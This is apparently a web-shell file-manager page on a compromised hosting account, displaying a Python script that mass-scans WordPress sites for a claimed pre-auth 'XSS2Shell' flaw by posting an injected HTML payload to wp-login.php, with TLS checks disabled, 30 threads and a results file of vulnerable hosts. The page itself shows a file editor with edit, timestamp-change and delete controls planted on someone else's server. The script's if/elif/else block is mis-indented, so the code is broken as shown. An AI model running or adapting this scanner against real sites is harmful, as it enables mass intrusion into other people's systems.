文件操作 - main.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/main.py

编辑文件内容

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-64638 - WordPress "XSS2Shell" pre-auth XSS-to-RCE chain
Affected: WordPress Core 4.7.0 through 7.0.2 (fixed in 7.0.3)
"""

import argparse
import sys
import urllib.error
import urllib.parse
import urllib.request
import ssl
import json
import threading
import time
import http.server
import socketserver
from concurrent.futures import ThreadPoolExecutor, as_completed

CVE_ID = "CVE-2026-64638"
PAYLOAD = (
    "< area id=ajaxurl href=/?rest_route=/&_method=GET"
    "&_jsonp=window.opener.approve.click&_envelope=1>"
    "< div id=color-picker class=reset-pass-submit>"
    '< button class="wp-generate-pw color-option">X'
)
MARKERS = ('id="ajaxurl"', 'id="color-picker"')

def _base_url(host, port, use_tls):
    scheme = "https" if use_tls else "http"
    if (use_tls and port == 443) or ((not use_tls) and port == 80):
        netloc = host
    else:
        netloc = host + ":" + str(port)
    return scheme + "://" + netloc

def _open(url, data=None, headers=None, timeout=15):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    hdrs = {"User-Agent": "ALIM-" + CVE_ID}
    if headers:
        hdrs.update(headers)
    req = urllib.request.Request(url, data=data, headers=hdrs)
    try:
        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
        return resp.getcode(), dict(resp.headers), resp.read()
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read()

def _post_login(base):
    data = urllib.parse.urlencode({"log": PAYLOAD, "pwd": "x", "wp-submit": "Log In"}).encode()
    hdrs = {"Content-Type": "application/x-www-form-urlencoded"}
    _s, _h, body = _open(base + "/wp-login.php", data=data, headers=hdrs)
    try:
        return body.decode("utf-8", "replace")
    except:
        return str(body)

def _try_exploit(host, port, use_tls):
    base = _base_url(host, port, use_tls)
    try:
        body = _post_login(base)
    except Exception as e:
        return False, "unreachable"
    hits = [m for m in MARKERS if m in body]
    if hits:
        return True, "XSS confirmed"
    return False, "patched"

def check_target(url, output_file=None):
    """Tek hedef kontrol"""
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    parsed = urllib.parse.urlparse(url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    use_tls = parsed.scheme == "https"
    ok, msg = _try_exploit(host, port, use_tls)
    line = url + " -> " + ("VULN" if ok else "NOT_VULN")
    if output_file:
        with open(output_file, "a") as f:
            f.write(line + "\n")
    return ok, url

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-64638 XSS2Shell")
    parser.add_argument('-l', '--list', dest='list_file', help='Target list file')
    parser.add_argument('-t', '--threads', type=int, default=30, help='Threads')
    parser.add_argument('-o', '--output', default='xss_results.txt', help='Output file')
    parser.add_argument('url', nargs='?', help='Single target URL')
    args = parser.parse_args()

if args.list_file:
        with open(args.list_file, "r") as f:
            targets = [line.strip() for line in f if line.strip()]
        print("[*] {} targets loaded".format(len(targets)))
        results = []
        with ThreadPoolExecutor(max_workers=args.threads) as ex:
            futures = {ex.submit(check_target, t, args.output): t for t in targets}
            for future in as_completed(futures):
                ok, url = future.result()
                results.append((url, ok))
                print(("[+] " if ok else "[-] ") + url)
        vuln_count = sum(1 for _, ok in results if ok)
        print("[*] Done: {} vulnerable / {} total".format(vuln_count, len(targets)))
        return 0

elif args.url:
        ok, url = check_target(args.url, args.output)
        print(("[+] VULN" if ok else "[-] NOT VULN") + " - " + url)
        return 0

else:
        parser.print_help()
        return 1

if __name__ == "__main__":
    sys.exit(main())

文件操作 - main.py

文件: /home/tecnoht/public_html/onoranzefunebricastelli--com/main.py

编辑文件内容

修改文件时间

删除文件